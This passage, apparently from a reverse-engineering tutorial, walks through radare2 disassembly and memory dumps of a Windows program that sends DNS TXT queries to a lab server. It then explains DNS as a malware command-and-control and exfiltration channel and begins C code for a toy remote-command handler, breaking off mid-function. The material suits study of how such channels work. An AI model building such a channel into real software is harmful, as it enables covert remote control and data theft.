            int txt_response_len = buf[txt_position];
            printf("BUF: %d \n",txt_response_len);
            dns = (struct dns_header*) buf;
            // just printing the response packet char by char, we can either do printf()
            for(int i=txt_position+1; i < 1+txt_position+txt_response_len; i++){
                printf("%c",buf[i]);
            }
            printf("\n");
        }
    }
    WSACleanup();
    printf("WSACLEANUP() OK exiting \n");
    return 0;
}

Now to the disasm:

[0x00401634]> pdf
/ (fcn) sym.main 1203
|   sym.main (int arg_180h, int arg_1f0h, int arg_101f0h, int arg_101f4h, int arg_101f8h, int arg_10200h, int arg_10208h, int arg_1020ch, int arg_10210h, int arg_10218h, int arg_10220h, int arg_1022ch, int arg_20h, int arg_28h, int arg_80h);
|           ; arg int arg_20h @ rsp+0x20
|           ; arg int arg_28h @ rsp+0x28
|           ; arg int arg_80h @ rsp+0x80
|           ; CALL XREF from 0x004013c2 (sym.__tmainCRTStartup)
|           0x00401634      55             push rbp
|           0x00401635      b8b0020100     mov eax, 0x102b0
|           0x0040163a      e871190000     call fcn.00402fb0
|           0x0040163f      4829c4         sub rsp, rax
|           0x00401642      488dac248000.  lea rbp, [arg_80h]          ; 0x80 ; 128
|           0x0040164a      e891050000     call sym.__main
|           0x0040164f      488d0daa3900.  lea rcx, str.DNS_RAT_UP_AND_RUNNING ; section..rdata ; 0x405000 ; "DNS RAT UP AND RUNNING "
|           0x00401656      e8bd190000     call sym.puts               ; int puts(const char *s)
|           0x0040165b      488d0db63900.  lea rcx, str.Enter_Hostname_to_Lookup_: ; 0x405018 ; "Enter Hostname to Lookup : "
|           0x00401662      e8c1190000     call sym.printf             ; int printf(const char *format)
|           0x00401667      488d85800100.  lea rax, [arg_180h]         ; 0x180 ; 384
|           0x0040166e      4889c2         mov rdx, rax
|           0x00401671      488d0dbc3900.  lea rcx, [0x00405034]       ; "%s"
|           0x00401678      e893190000     call sym.scanf              ; int scanf(const char *format)
|           0x0040167d      48c785200201.  mov qword [arg_10220h], 0   ; [0x10220:8]=0
|           0x00401688      48c785180201.  mov qword [arg_10218h], 0   ; [0x10218:8]=0
|           0x00401693      488d85f00100.  lea rax, [arg_1f0h]         ; 0x1f0 ; 496
|           0x0040169a      488985180201.  mov qword [arg_10218h], rax ; [0x10218:8]=0
|           0x004016a1      e8da190000     call sym.getpid             ; int getpid(void)
|           0x004016a6      0fb7c0         movzx eax, ax
|           0x004016a9      89c1           mov ecx, eax
|           0x004016ab      488b056e7d00.  mov rax, qword sym.imp.WS2_32.dll_htons ; [0x409420:8]=0x97c2 reloc.WS2_32.dll_htons
|           0x004016b2      ffd0           call rax
|           0x004016b4      89c2           mov edx, eax
|           0x004016b6      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|           0x004016bd      668910         mov word [rax], dx
|           0x004016c0      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|           0x004016c7      0fb65002       movzx edx, byte [rax + 2]   ; [0x2:1]=255 ; 2
|           0x004016cb      83e27f         and edx, 0x7f
|           0x004016ce      885002         mov byte [rax + 2], dl
|           0x004016d1      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|           0x004016d8      0fb65002       movzx edx, byte [rax + 2]   ; [0x2:1]=255 ; 2
|           0x004016dc      83e287         and edx, 0xffffff87
|           0x004016df      885002         mov byte [rax + 2], dl
|           0x004016e2      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|           0x004016e9      0fb65002       movzx edx, byte [rax + 2]   ; [0x2:1]=255 ; 2
|           0x004016ed      83e2fb         and edx, 0xfffffffb
|           0x004016f0      885002         mov byte [rax + 2], dl
|           0x004016f3      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|           0x004016fa      0fb65002       movzx edx, byte [rax + 2]   ; [0x2:1]=255 ; 2
|           0x004016fe      83e2fd         and edx, 0xfffffffd
|           0x00401701      885002         mov byte [rax + 2], dl
|           0x00401704      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|           0x0040170b      0fb65002       movzx edx, byte [rax + 2]   ; [0x2:1]=255 ; 2
|           0x0040170f      83ca01         or edx, 1
|           0x00401712      885002         mov byte [rax + 2], dl
|           0x00401715      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|           0x0040171c      0fb65003       movzx edx, byte [rax + 3]   ; [0x3:1]=255 ; 3
|           0x00401720      83e27f         and edx, 0x7f
|           0x00401723      885003         mov byte [rax + 3], dl
|           0x00401726      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|           0x0040172d      0fb65003       movzx edx, byte [rax + 3]   ; [0x3:1]=255 ; 3
|           0x00401731      83e2bf         and edx, 0xffffffbf
|           0x00401734      885003         mov byte [rax + 3], dl
|           0x00401737      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|           0x0040173e      0fb65003       movzx edx, byte [rax + 3]   ; [0x3:1]=255 ; 3
|           0x00401742      83e2df         and edx, 0xffffffdf
|           0x00401745      885003         mov byte [rax + 3], dl
|           0x00401748      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|           0x0040174f      0fb65003       movzx edx, byte [rax + 3]   ; [0x3:1]=255 ; 3
|           0x00401753      83e2ef         and edx, 0xffffffef
|           0x00401756      885003         mov byte [rax + 3], dl
|           0x00401759      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|           0x00401760      0fb65003       movzx edx, byte [rax + 3]   ; [0x3:1]=255 ; 3
|           0x00401764      83e2f0         and edx, 0xfffffff0
|           0x00401767      885003         mov byte [rax + 3], dl
|           0x0040176a      b901000000     mov ecx, 1
|           0x0040176f      488b05aa7c00.  mov rax, qword sym.imp.WS2_32.dll_htons ; [0x409420:8]=0x97c2 reloc.WS2_32.dll_htons
|           0x00401776      ffd0           call rax
|           0x00401778      89c2           mov edx, eax
|           0x0040177a      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|           0x00401781      66895004       mov word [rax + 4], dx
|           0x00401785      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|           0x0040178c      66c740060000   mov word [rax + 6], 0
|           0x00401792      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|           0x00401799      66c740080000   mov word [rax + 8], 0
|           0x0040179f      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|           0x004017a6      66c7400a0000   mov word [rax + 0xa], 0
|           0x004017ac      488d85f00100.  lea rax, [arg_1f0h]         ; 0x1f0 ; 496
|           0x004017b3      4883c00c       add rax, 0xc
|           0x004017b7      488985100201.  mov qword [arg_10210h], rax ; [0x10210:8]=0
|           0x004017be      488d85800100.  lea rax, [arg_180h]         ; 0x180 ; 384
|           0x004017c5      488b8d100201.  mov rcx, qword [arg_10210h] ; [0x10210:8]=0
|           0x004017cc      4889c2         mov rdx, rax
|           0x004017cf      e87cfdffff     call sym.ChangetoDnsNameFormat
|           0x004017d4      488b85100201.  mov rax, qword [arg_10210h] ; [0x10210:8]=0
|           0x004017db      4889c1         mov rcx, rax
|           0x004017de      e81d180000     call sym.strlen             ; size_t strlen(const char *s)
|           0x004017e3      488d500d       lea rdx, [rax + 0xd]        ; 13
|           0x004017e7      488d85f00100.  lea rax, [arg_1f0h]         ; 0x1f0 ; 496
|           0x004017ee      4801d0         add rax, rdx                ; '('
|           0x004017f1      488985200201.  mov qword [arg_10220h], rax ; [0x10220:8]=0
|           0x004017f8      b910000000     mov ecx, 0x10               ; 16
|           0x004017fd      488b051c7c00.  mov rax, qword sym.imp.WS2_32.dll_htons ; [0x409420:8]=0x97c2 reloc.WS2_32.dll_htons
|           0x00401804      ffd0           call rax
|           0x00401806      89c2           mov edx, eax
|           0x00401808      488b85200201.  mov rax, qword [arg_10220h] ; [0x10220:8]=0
|           0x0040180f      668910         mov word [rax], dx
|           0x00401812      b901000000     mov ecx, 1
|           0x00401817      488b05027c00.  mov rax, qword sym.imp.WS2_32.dll_htons ; [0x409420:8]=0x97c2 reloc.WS2_32.dll_htons
|           0x0040181e      ffd0           call rax
|           0x00401820      89c2           mov edx, eax
|           0x00401822      488b85200201.  mov rax, qword [arg_10220h] ; [0x10220:8]=0
|           0x00401829      66895002       mov word [rax + 2], dx
|           0x0040182d      c7850c020100.  mov dword [arg_1020ch], 0x10 ; 16
|           0x00401837      c78508020100.  mov dword [arg_10208h], 0x35 ; '5' ; 53
|           0x00401841      488d45e0       lea rax, [local_20h]
|           0x00401845      4889c2         mov rdx, rax
|           0x00401848      b902020000     mov ecx, 0x202              ; 514
|           0x0040184d      488b05c47b00.  mov rax, qword sym.imp.WS2_32.dll_WSAStartup ; [0x409418:8]=0x97b4 reloc.WS2_32.dll_WSAStartup
|           0x00401854      ffd0           call rax
|           0x00401856      85c0           test eax, eax
|       ,=< 0x00401858      7421           je 0x40187b
|       |   0x0040185a      488b05af7b00.  mov rax, qword sym.imp.WS2_32.dll_WSAGetLastError ; [0x409410:8]=0x97a2 reloc.WS2_32.dll_WSAGetLastError
|       |   0x00401861      ffd0           call rax
|       |   0x00401863      89c2           mov edx, eax
|       |   0x00401865      488d0dcb3700.  lea rcx, str.Failed._Error_Code_:__d ; 0x405037 ; "Failed. Error Code : %d"
|       |   0x0040186c      e8b7170000     call sym.printf             ; int printf(const char *format)
|       |   0x00401871      b801000000     mov eax, 1
|      ,==< 0x00401876      e963020000     jmp 0x401ade
|      ||   ; CODE XREF from 0x00401858 (sym.main)
|      |`-> 0x0040187b      488d0dcd3700.  lea rcx, str.1___WINSOCK_INITIALIZED. ; 0x40504f ; "1 - WINSOCK INITIALIZED. "
|      |    0x00401882      e891170000     call sym.puts               ; int puts(const char *s)
|      |    0x00401887      41b811000000   mov r8d, 0x11               ; 17
|      |    0x0040188d      ba02000000     mov edx, 2
|      |    0x00401892      b902000000     mov ecx, 2
|      |    0x00401897      488b05a27b00.  mov rax, qword sym.imp.WS2_32.dll_socket ; [0x409440:8]=0x97ec reloc.WS2_32.dll_socket
|      |    0x0040189e      ffd0           call rax
|      |    0x004018a0      488985000201.  mov qword [arg_10200h], rax ; [0x10200:8]=0
|      |    0x004018a7      4883bd000201.  cmp qword [arg_10200h], 0xffffffffffffffff
|      |,=< 0x004018af      7517           jne 0x4018c8
|      ||   0x004018b1      488b05587b00.  mov rax, qword sym.imp.WS2_32.dll_WSAGetLastError ; [0x409410:8]=0x97a2 reloc.WS2_32.dll_WSAGetLastError
|      ||   0x004018b8      ffd0           call rax
|      ||   0x004018ba      89c2           mov edx, eax
|      ||   0x004018bc      488d0da63700.  lea rcx, str.Could_not_create_socket_:__d ; 0x405069 ; "Could not create socket : %d"
|      ||   0x004018c3      e860170000     call sym.printf             ; int printf(const char *format)
|      ||   ; CODE XREF from 0x004018af (sym.main)
|      |`-> 0x004018c8      488d0db73700.  lea rcx, str.2___WINSOCK_SOCKET_CREATED. ; 0x405086 ; "2 - WINSOCK SOCKET CREATED. "
|      |    0x004018cf      e844170000     call sym.puts               ; int puts(const char *s)
|      |    0x004018d4      66c745d00200   mov word [local_30h], 2
|      |    0x004018da      8b8508020100   mov eax, dword [arg_10208h] ; [0x10208:4]=0
|      |    0x004018e0      0fb7c0         movzx eax, ax
|      |    0x004018e3      89c1           mov ecx, eax
|      |    0x004018e5      488b05347b00.  mov rax, qword sym.imp.WS2_32.dll_htons ; [0x409420:8]=0x97c2 reloc.WS2_32.dll_htons
|      |    0x004018ec      ffd0           call rax
|      |    0x004018ee      668945d2       mov word [local_2eh], ax
|      |    0x004018f2      488d0daa3700.  lea rcx, str.192.168.0.50   ; 0x4050a3 ; "192.168.0.50"
|      |    0x004018f9      488b05287b00.  mov rax, qword sym.imp.WS2_32.dll_inet_addr ; [0x409428:8]=0x97ca reloc.WS2_32.dll_inet_addr
|      |    0x00401900      ffd0           call rax
|      |    0x00401902      8945d4         mov dword [local_2ch], eax
|      |    0x00401905      488b85100201.  mov rax, qword [arg_10210h] ; [0x10210:8]=0
|      |    0x0040190c      4889c1         mov rcx, rax
|      |    0x0040190f      e8ec160000     call sym.strlen             ; size_t strlen(const char *s)
|      |    0x00401914      83c011         add eax, 0x11
|      |    0x00401917      4189c0         mov r8d, eax
|      |    0x0040191a      488d85f00100.  lea rax, [arg_1f0h]         ; 0x1f0 ; 496
|      |    0x00401921      488b8d000201.  mov rcx, qword [arg_10200h] ; [0x10200:8]=0
|      |    0x00401928      8b950c020100   mov edx, dword [arg_1020ch] ; [0x1020c:4]=0
|      |    0x0040192e      89542428       mov dword [arg_28h], edx
|      |    0x00401932      488d55d0       lea rdx, [local_30h]
|      |    0x00401936      4889542420     mov qword [arg_20h], rdx
|      |    0x0040193b      41b900000000   mov r9d, 0
|      |    0x00401941      4889c2         mov rdx, rax
|      |    0x00401944      488b05ed7a00.  mov rax, qword sym.imp.WS2_32.dll_sendto ; [0x409438:8]=0x97e2 reloc.WS2_32.dll_sendto
|      |    0x0040194b      ffd0           call rax
|      |    0x0040194d      83f8ff         cmp eax, 0xffffffffffffffff
|      |,=< 0x00401950      7521           jne 0x401973
|      ||   0x00401952      488b05b77a00.  mov rax, qword sym.imp.WS2_32.dll_WSAGetLastError ; [0x409410:8]=0x97a2 reloc.WS2_32.dll_WSAGetLastError
|      ||   0x00401959      ffd0           call rax
|      ||   0x0040195b      89c2           mov edx, eax
|      ||   0x0040195d      488d0d4c3700.  lea rcx, str.sendto___failed_with_error_code_:__d ; 0x4050b0 ; "sendto() failed with error code : %d "
|      ||   0x00401964      e8bf160000     call sym.printf             ; int printf(const char *format)
|      ||   0x00401969      b901000000     mov ecx, 1
|      ||   0x0040196e      e8e5160000     call sym.exit
|      ||   ; CODE XREF from 0x00401950 (sym.main)
|      |`-> 0x00401973      488d0d5c3700.  lea rcx, str.3___SENDTO___OK__packet_sent ; 0x4050d6 ; "3 - SENDTO() OK, packet sent"
|      |    0x0040197a      e899160000     call sym.puts               ; int puts(const char *s)
|      |    0x0040197f      488d85f00100.  lea rax, [arg_1f0h]         ; 0x1f0 ; 496
|      |    0x00401986      488b8d000201.  mov rcx, qword [arg_10200h] ; [0x10200:8]=0
|      |    0x0040198d      48c744242800.  mov qword [arg_28h], 0
|      |    0x00401996      48c744242000.  mov qword [arg_20h], 0
|      |    0x0040199f      41b900000000   mov r9d, 0
|      |    0x004019a5      41b800000100   mov r8d, 0x10000
|      |    0x004019ab      4889c2         mov rdx, rax
|      |    0x004019ae      488b057b7a00.  mov rax, qword sym.imp.WS2_32.dll_recvfrom ; [0x409430:8]=0x97d6 reloc.WS2_32.dll_recvfrom
|      |    0x004019b5      ffd0           call rax
|      |    0x004019b7      83f8ff         cmp eax, 0xffffffffffffffff
|      |,=< 0x004019ba      751c           jne 0x4019d8
|      ||   0x004019bc      488b054d7a00.  mov rax, qword sym.imp.WS2_32.dll_WSAGetLastError ; [0x409410:8]=0x97a2 reloc.WS2_32.dll_WSAGetLastError
|      ||   0x004019c3      ffd0           call rax
|      ||   0x004019c5      89c2           mov edx, eax
|      ||   0x004019c7      488d0d253700.  lea rcx, str.error_recving_:__d ; 0x4050f3 ; "error recving : %d"
|      ||   0x004019ce      e855160000     call sym.printf             ; int printf(const char *format)
|     ,===< 0x004019d3      e9ec000000     jmp 0x401ac4
|     |||   ; CODE XREF from 0x004019ba (sym.main)
|     ||`-> 0x004019d8      488d0d293700.  lea rcx, str.4___RECVFROM___OK__packet_received ; 0x405108 ; "4 - RECVFROM() OK, packet received "
|     ||    0x004019df      e834160000     call sym.puts               ; int puts(const char *s)
|     ||    0x004019e4      488b85100201.  mov rax, qword [arg_10210h] ; [0x10210:8]=0
|     ||    0x004019eb      4889c1         mov rcx, rax
|     ||    0x004019ee      e80d160000     call sym.strlen             ; size_t strlen(const char *s)
|     ||    0x004019f3      488d5011       lea rdx, [rax + 0x11]       ; 17
|     ||    0x004019f7      488d85f00100.  lea rax, [arg_1f0h]         ; 0x1f0 ; 496
|     ||    0x004019fe      4801d0         add rax, rdx                ; '('
|     ||    0x00401a01      488985f80101.  mov qword [arg_101f8h], rax ; [0x101f8:8]=0
|     ||    0x00401a08      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|     ||    0x00401a0f      0fb74006       movzx eax, word [rax + 6]   ; [0x6:2]=0xffff ; 6
|     ||    0x00401a13      6685c0         test ax, ax
|     ||,=< 0x00401a16      0f84a8000000   je 0x401ac4
|     |||   0x00401a1c      488d85800100.  lea rax, [arg_180h]         ; 0x180 ; 384
|     |||   0x00401a23      4889c1         mov rcx, rax
|     |||   0x00401a26      e8d5150000     call sym.strlen             ; size_t strlen(const char *s)
|     |||   0x00401a2b      83c01d         add eax, 0x1d
|     |||   0x00401a2e      8985f4010100   mov dword [arg_101f4h], eax ; [0x101f4:4]=0
|     |||   0x00401a34      8b85f4010100   mov eax, dword [arg_101f4h] ; [0x101f4:4]=0
|     |||   0x00401a3a      4898           cdqe
|     |||   0x00401a3c      0fb68405f001.  movzx eax, byte [rbp + rax + 0x1f0] ; [0x1f0:1]=255 ; 496
|     |||   0x00401a44      0fb6c0         movzx eax, al
|     |||   0x00401a47      8985f0010100   mov dword [arg_101f0h], eax ; [0x101f0:4]=0
|     |||   0x00401a4d      8b85f0010100   mov eax, dword [arg_101f0h] ; [0x101f0:4]=0
|     |||   0x00401a53      89c2           mov edx, eax
|     |||   0x00401a55      488d0dd03600.  lea rcx, str.BUF:__d        ; 0x40512c ; "BUF: %d \n"
|     |||   0x00401a5c      e8c7150000     call sym.printf             ; int printf(const char *format)
|     |||   0x00401a61      488d85f00100.  lea rax, [arg_1f0h]         ; 0x1f0 ; 496
|     |||   0x00401a68      488985180201.  mov qword [arg_10218h], rax ; [0x10218:8]=0
|     |||   0x00401a6f      8b85f4010100   mov eax, dword [arg_101f4h] ; [0x101f4:4]=0
|     |||   0x00401a75      83c001         add eax, 1
|     |||   0x00401a78      89852c020100   mov dword [arg_1022ch], eax ; [0x1022c:4]=0
|    ,====< 0x00401a7e      eb21           jmp 0x401aa1
|    ||||   ; CODE XREF from 0x00401ab8 (sym.main)
|   .-----> 0x00401a80      8b852c020100   mov eax, dword [arg_1022ch] ; [0x1022c:4]=0
|   :||||   0x00401a86      4898           cdqe
|   :||||   0x00401a88      0fb68405f001.  movzx eax, byte [rbp + rax + 0x1f0] ; [0x1f0:1]=255 ; 496
|   :||||   0x00401a90      0fb6c0         movzx eax, al
|   :||||   0x00401a93      89c1           mov ecx, eax
|   :||||   0x00401a95      e886150000     call sym.putchar            ; int putchar(int c)
|   :||||   0x00401a9a      83852c020100.  add dword [arg_1022ch], 1
|   :||||   ; CODE XREF from 0x00401a7e (sym.main)
|   :`----> 0x00401aa1      8b85f4010100   mov eax, dword [arg_101f4h] ; [0x101f4:4]=0
|   : |||   0x00401aa7      8d5001         lea edx, [rax + 1]          ; 1
|   : |||   0x00401aaa      8b85f0010100   mov eax, dword [arg_101f0h] ; [0x101f0:4]=0
|   : |||   0x00401ab0      01d0           add eax, edx
|   : |||   0x00401ab2      39852c020100   cmp dword [arg_1022ch], eax ; [0x13:4]=-1 ; 19
|   `=====< 0x00401ab8      7cc6           jl 0x401a80
|     |||   0x00401aba      b90a000000     mov ecx, 0xa
|     |||   0x00401abf      e85c150000     call sym.putchar            ; int putchar(int c)
|     |||   ; CODE XREF from 0x004019d3 (sym.main)
|     |||   ; CODE XREF from 0x00401a16 (sym.main)
|     `-`-> 0x00401ac4      488b053d7900.  mov rax, qword sym.imp.WS2_32.dll_WSACleanup ; [0x409408:8]=0x9794 reloc.WS2_32.dll_WSACleanup
|      |    0x00401acb      ffd0           call rax
|      |    0x00401acd      488d0d623600.  lea rcx, str.WSACLEANUP___OK_exiting ; 0x405136 ; "WSACLEANUP() OK exiting "
|      |    0x00401ad4      e83f150000     call sym.puts               ; int puts(const char *s)
|      |    0x00401ad9      b800000000     mov eax, 0
|      |    ; CODE XREF from 0x00401876 (sym.main)
|      `--> 0x00401ade      4881c4b00201.  add rsp, 0x102b0
|           0x00401ae5      5d             pop rbp
\           0x00401ae6      c3             ret
[0x00401634]>                                                        

As you can see here, progams start to get huge and kind of unreadable when you have bigger progams like this one, that start to look like “real world projects” instead of just simple examples you definetely cannot go line by line trying to figure everything out as it will take ages to do and may also be very complex as when progams start to fork their workflow things get mega complex.

One interesting approach in scenarios like that is to inspect function calls, an initial overview on function calls will get you a general idea on the progam, breakpoints before and after func. calls will let you know what is actually going on on the program.

In case of doubt we can go and analyze the context of those calls and that’s it.

So let’s begin here:

We start by seeing how the program initializes a lot of data, on some particular memory block:

|           0x004016b2      ffd0           call rax
|           0x004016b4      89c2           mov edx, eax
|           0x004016b6      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|           0x004016bd      668910         mov word [rax], dx
|           0x004016c0      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|           0x004016c7      0fb65002       movzx edx, byte [rax + 2]   ; [0x2:1]=255 ; 2
|           0x004016cb      83e27f         and edx, 0x7f
|           0x004016ce      885002         mov byte [rax + 2], dl
|           0x004016d1      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|           0x004016d8      0fb65002       movzx edx, byte [rax + 2]   ; [0x2:1]=255 ; 2
|           0x004016dc      83e287         and edx, 0xffffff87
|           0x004016df      885002         mov byte [rax + 2], dl
|           0x004016e2      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|           0x004016e9      0fb65002       movzx edx, byte [rax + 2]   ; [0x2:1]=255 ; 2
|           0x004016ed      83e2fb         and edx, 0xfffffffb
|           0x004016f0      885002         mov byte [rax + 2], dl
|           0x004016f3      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|           0x004016fa      0fb65002       movzx edx, byte [rax + 2]   ; [0x2:1]=255 ; 2
|           0x004016fe      83e2fd         and edx, 0xfffffffd
|           0x00401701      885002         mov byte [rax + 2], dl
|           0x00401704      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|           0x0040170b      0fb65002       movzx edx, byte [rax + 2]   ; [0x2:1]=255 ; 2
|           0x0040170f      83ca01         or edx, 1
|           0x00401712      885002         mov byte [rax + 2], dl
|           0x00401715      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|           0x0040171c      0fb65003       movzx edx, byte [rax + 3]   ; [0x3:1]=255 ; 3
|           0x00401720      83e27f         and edx, 0x7f
|           0x00401723      885003         mov byte [rax + 3], dl
|           0x00401726      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|           0x0040172d      0fb65003       movzx edx, byte [rax + 3]   ; [0x3:1]=255 ; 3
|           0x00401731      83e2bf         and edx, 0xffffffbf
|           0x00401734      885003         mov byte [rax + 3], dl
|           0x00401737      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|           0x0040173e      0fb65003       movzx edx, byte [rax + 3]   ; [0x3:1]=255 ; 3
|           0x00401742      83e2df         and edx, 0xffffffdf
|           0x00401745      885003         mov byte [rax + 3], dl
|           0x00401748      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|           0x0040174f      0fb65003       movzx edx, byte [rax + 3]   ; [0x3:1]=255 ; 3
|           0x00401753      83e2ef         and edx, 0xffffffef
|           0x00401756      885003         mov byte [rax + 3], dl
|           0x00401759      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|           0x00401760      0fb65003       movzx edx, byte [rax + 3]   ; [0x3:1]=255 ; 3
|           0x00401764      83e2f0         and edx, 0xfffffff0

We don’t need to go line by line here to see that an array or a struct is being initialized here, as we see rax+2 and rax+3 alltogether we can guess it is more like a struct than an array

Then we see htons being called and more values added:

|           0x0040176f      488b05aa7c00.  mov rax, qword sym.imp.WS2_32.dll_htons ; [0x409420:8]=0x97c2 reloc.WS2_32.dll_htons
|           0x00401776      ffd0           call rax
|           0x00401778      89c2           mov edx, eax
|           0x0040177a      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|           0x00401781      66895004       mov word [rax + 4], dx
|           0x00401785      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|           0x0040178c      66c740060000   mov word [rax + 6], 0

On this point we can actually guess that this struct somehow relates to some network data, and as this struct is large (compared to sockaddr for example) we can deduce that this may be a network packet

Then we see this being called:

|           0x004017c5      488b8d100201.  mov rcx, qword [arg_10210h] ; [0x10210:8]=0
|           0x004017cc      4889c2         mov rdx, rax
|           0x004017cf      e87cfdffff     call sym.ChangetoDnsNameFormat
|           0x004017d4      488b85100201.  mov rax, qword [arg_10210h] ; [0x10210:8]=0
|           0x004017db      4889c1         mov rcx, rax
|           0x004017de      e81d180000     call sym.strlen             ; size_t strlen(const char *s)
|           0x004017e3      488d500d       lea rdx, [rax + 0xd]        ; 13
|           0x004017e7      488d85f00100.  lea rax, [arg_1f0h]         ; 0x1f0 ; 496
|           0x004017ee      4801d0         add rax, rdx                ; '('
|           0x004017f1      488985200201.  mov qword [arg_10220h], rax ; [0x10220:8]=0

ChangetoDnsNameFormat, thing is pretty clear at this point that must be a DNS query.

The call to htons and right after the definition of 53 (the dns port) confirm our guess

|           0x00401817      488b05027c00.  mov rax, qword sym.imp.WS2_32.dll_htons ; [0x409420:8]=0x97c2 reloc.WS2_32.dll_htons
|           0x0040181e      ffd0           call rax
|           0x00401820      89c2           mov edx, eax
|           0x00401822      488b85200201.  mov rax, qword [arg_10220h] ; [0x10220:8]=0
|           0x00401829      66895002       mov word [rax + 2], dx
|           0x0040182d      c7850c020100.  mov dword [arg_1020ch], 0x10 ; 16
|           0x00401837      c78508020100.  mov dword [arg_10208h], 0x35 ; '5' ; 53

Then, nothing new, WSAStartup is called socket is created and then sendto:

|      |    0x00401936      4889542420     mov qword [arg_20h], rdx
|      |    0x0040193b      41b900000000   mov r9d, 0
|      |    0x00401941      4889c2         mov rdx, rax
|      |    0x00401944      488b05ed7a00.  mov rax, qword sym.imp.WS2_32.dll_sendto ; [0x409438:8]=0x97e2 reloc.WS2_32.dll_sendto
|      |    0x0040194b      ffd0           call rax
|      |    0x0040194d      83f8ff         cmp eax, 0xffffffffffffffff
|      |,=< 0x00401950      7521           jne 0x401973

That is a good place to set a breakpoint at, so we can see what is being sent

And here it is:

[0x00401944]> px @ 0x0060fde0
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x0060fde0  1fb4 0100 0001 0000 0000 0000 036a 6f65  .............joe
0x0060fdf0  0261 6205 6c6f 6361 6c00 0010 0001 0000  .ab.local.......

We should see the same exact thing in wireshark:

ws1

So this looks like a TXT request for joe.ab.local, pretty legitimate, nothing weird here, let us now look at the response:

|      |    0x004019ab      4889c2         mov rdx, rax
|      |    0x004019ae      488b057b7a00.  mov rax, qword sym.imp.WS2_32.dll_recvfrom ; [0x409430:8]=0x7ffcc1793010
|      |    0x004019b5      ffd0           call rax
       |    ;-- rip:
|      |    0x004019b7 b    83f8ff         cmp eax, 0xffffffffffffffff

So, calling recv, the answer should be in the previously declared buffer:

[0x004019b7]> pxw @ 0x0060fde0
0x0060fde0  0x8085b41f 0x01000100 0x01000100 0x656f6a03  .............joe
0x0060fdf0  0x05626102 0x61636f6c 0x1000006c 0x0cc00100  .ab.local.......
0x0060fe00  0x01001000 0x803a0900 0x59141500 0x6320756f  ......:....You c
0x0060fe10  0x70206e61 0x61207475 0x7420796e 0xc0747865  an put any text.
0x0060fe20  0x00020010 0x3a090001 0x070a0080 0x6d697270  .......:....prim
0x0060fe30  0xc0797261 0x004bc010 0x00010001 0x00803a09  ary...K......:..
0x0060fe40  0x00a8c004 0x00000032 0x00000000 0x00000000  ....2...........

And that is the response.

As we go further in the progam we should not see anything of interest. So we can consider that our work with the program is done at this point. And our veredict is that, this program asks a user for input and performs a TXT DNS query based on the user input to a remote server on 192.168.0.50 port 53

Malware Command & Control systems through DNS

So as we now know about the DNS packet format, we see that any kind of information can be encoded inside a domain name query / txt response, so this can clearly be used, and it actually is, as a malware cover communication channel for command and contrl or for (slow) file exfiltration.

Let’s look at the following program:

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h>
#include <conio.h>

#pragma comment(lib, "ws2_32")

#define BUFLEN 65536

// DNS STANDARD QUERY PACKET
struct dns_header
{
    unsigned short id; // identification number

    unsigned char rd :1; // recursion desired
    unsigned char tc :1; // truncated message
    unsigned char aa :1; // authoritive answer
    unsigned char opcode :4; // purpose of message
    unsigned char qr :1; // query/response flag

    unsigned char rcode :4; // response code
    unsigned char cd :1; // checking disabled
    unsigned char ad :1; // authenticated data
    unsigned char z :1; // its z! reserved
    unsigned char ra :1; // recursion available

    unsigned short q_count; // number of question entries
    unsigned short ans_count; // number of answer entries
    unsigned short auth_count; // number of authority entries
    unsigned short add_count; // number of resource entries
};

struct question{
    unsigned short type;
    unsigned short tclass;
};

typedef struct
{
    unsigned char *name;
    struct question *ques;
} query;


void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host){
    int lock = 0 , i;
    strcat((char*)host,".");

    for(i = 0 ; i < strlen((char*)host) ; i++)
    {
        if(host[i]=='.')
        {
            *dns++ = i-lock;
            for(;lock<i;lock++)
            {
                *dns++=host[lock];
            }
            lock++; //or lock=i+1;
        }
    }
    *dns++='\0';
}

void processCommand(char buf[]){

    char c = buf[0];

    if(c == '1'){
        char msg[strlen(buf)-2];
        strncpy(msg, buf+2,strlen(buf)-2);
        int msgboxID = MessageBox(
        NULL,
        msg,
        "pwned",
        MB_ICONWARNING
        );
    }
    else if(c == '2'){
        int i = 0;
        char beep[strlen(buf)-2];
        strncpy(beep, buf+2,strlen(buf)-2);
        sscanf(beep, "%d", &i);
        Beep(beep,900);
        sleep(5);
    }
    else if(c == '3'){
        exit(0);
    }
    else{
        sleep(10);
